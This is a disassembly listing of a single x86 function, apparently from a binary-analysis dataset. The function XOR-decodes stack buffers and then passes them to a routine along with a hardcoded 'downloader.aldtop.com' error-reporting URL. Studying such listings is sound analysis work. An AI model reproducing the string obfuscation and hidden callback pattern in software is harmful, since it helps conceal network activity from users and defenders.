Function at 0x477b10
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fd658
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x120
mov eax, dword [0x672494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x3c], esi
mov eax, dword [ebx + 8]
xor edx, edx
cmp dword [0x67be1c], 2
movq xmm0, qword [0x64eb14]
mov dword [ebp - 0x38], eax
mov eax, dword [0x64eb1c]
lea ecx, [edx + 0x1f]
mov dword [ebp - 0x4c], eax
mov ax, word [0x64eb20]
mov word [ebp - 0x48], ax
mov al, byte [0x64eb22]
mov byte [ebp - 0x46], al
lea eax, [edx + 4]
movq qword [ebp - 0x54], xmm0
mov dword [ebp - 0x30], edx
jl 0x477ca0
movaps xmm2, xmmword [0x654300]
mov edx, 8
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
psrad xmm1, xmm5
movd xmm6, ecx
movaps xmm0, xmm1
mov dword [ebp - 0x30], edx
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6543a0]
movd xmm0, dword [0x64eb14]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.9999999999999999]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x54], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6543a0]
movd xmm0, dword [ebp - 0x50]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.9999999999999999]
pxor xmm1, xmm0
movd dword [ebp - 0x50], xmm1
nop dword [eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x54], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0xf
jl 0x477ca0
cmp dword [esi + 0x624], 8
lea eax, [esi + 0x610]
mov dword [ebp - 0x30], eax
jb 0x477ce5
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
cmp dword [esi + 0x60c], 8
lea eax, [esi + 0x5f8]
mov dword [ebp - 0x34], eax
jb 0x477cfc
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [esi + 0x5d4]
lea edi, [ebp - 0x130]
cmp eax, 0x1388
mov esi, 0x64ee90
lea ecx, [eax - 0x1388]
cmovl ecx, eax
mov dword [ebp - 0x40], ecx
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
cmp dword [0x67be1c], 2
movsw word es:[edi], word [esi]
jl 0x477e60
movaps xmm4, xmmword [0x654300]
mov eax, 4
movaps xmm3, xmmword [0x6543d0]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.99999999]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x130]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x130], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.99999999]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x128]
pxor xmm1, xmm0
movq qword [ebp + ecx*2 - 0x128], xmm1
add ecx, 8
cmp ecx, 0x60
jl 0x477d60
cmp ecx, 0x65
jge 0x477e89
nop dword [eax + eax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul eax, eax, 0x32
sub edx, eax
add edx, 0x39
xor word [ebp + ecx*2 - 0x130], dx
inc ecx
cmp ecx, 0x65
jl 0x477e60
lea eax, [ebp - 0x54]
push eax
push ecx
call fcn.0047fda0
mov esi, dword [ebp - 0x3c]
push eax
push dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x34]
push eax
push eax
lea eax, [esi + 0xbc]
push eax
lea eax, [esi + 0x3c]
push eax
lea eax, [esi + 0x7c]
push eax
push dword [ebp - 0x40]
lea eax, [ebp - 0x130]
push dword [esi + 0x640]
push str.http:__downloader.aldtop.com_client_error
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041a640
add esp, 0x34
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x60], esi
call fcn.0040c5c0
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.004871f0
mov edx, eax
mov byte [ebp - 4], 2
mov ecx, dword [0x67f524]
cmp dword [0x67f528], ecx
je 0x477f2e
mov dword [ecx], 0
cmp ecx, edx
je 0x477f21
mov eax, dword [edx]
mov dword [ecx], eax
mov dword [edx], 0
mov byte [ecx + 4], 1
add dword [0x67f524], 8
jmp 0x477f35
push edx
push ecx
call fcn.0043f960
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x477f5e
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x477f5e
mov edx, dword [ecx + 0x78]
test edx, edx
je 0x477f58
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x477f5c
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x5c]
call fcn.0040f8c0
lea ecx, [ebp - 0x2c]
call fcn.0040f8c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004d0a85
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4